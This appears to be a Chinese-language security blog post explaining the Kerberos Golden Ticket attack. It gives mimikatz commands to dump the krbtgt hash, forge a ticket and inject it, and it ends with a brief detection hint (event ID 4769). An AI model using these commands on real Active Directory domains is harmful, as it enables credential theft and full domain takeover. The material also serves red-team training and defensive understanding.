0x01 黄金票据原理
在kerberos协议身份请求认证中(如下图),不进行第一步AS-REQ和第二步AS-REP两个环节请求,利用伪造的ticket作为TGS-REQ的一部分发送到域控以获取service ticket这一过程。黄金票据是由域kerberos账号加密和签名(krbtgt 域账户的NTLM Hash 加密的Session-key as、 Client-info、timestamp)并且可以被域中的 KDC 服务解密。
krbtgt:KDC 服务使用的账号,属于 Domain Admins 组成员,可以用来生成访问服务器的票据
golden ticket.png0x02 GoldenTicket制作
- 域名
- 域SID
- KRBTGT NTLM或AES256
- 用来伪造的用户名
1)获取域SID
whoami /user
红框里的是SID,外边的是RID,所以域SID就是S-1-5-21-16652XXXXXX-XXXXXXXXX-3128466792
2)获取krbtgt hash
在域控上执行mimikatz提取krbtgt hash
mimikatz lsadump::dcsync /user:krbtgt /domain:DOMAIN_NAME
3)生成黄金票据
在客户机上执行mimikatz
mimikatz # kerberos::golden /admin:admin111 /domain:DOMAIN_NAME /sid:S-1-5-21-XXXXXXXX-XXXXXXXX-3128466792 /krbtgt:NTLM_HASH/ticket:goldticket.kirbi
4)清空kerberos原有票据并导入黄金票据
mimikatz # kerberos::purge
mimikatz # kerberos::ptt goldticket.kirbi
查询TGT是否导入成功
mimikatz # kerberos::tgt
图片.png
0x03 黄金票据检测和防御
通过查看DC事件日志eventID 4769 - 服务票证请求判断是否可能遭到goldenticket的攻击。
detect.png
网友评论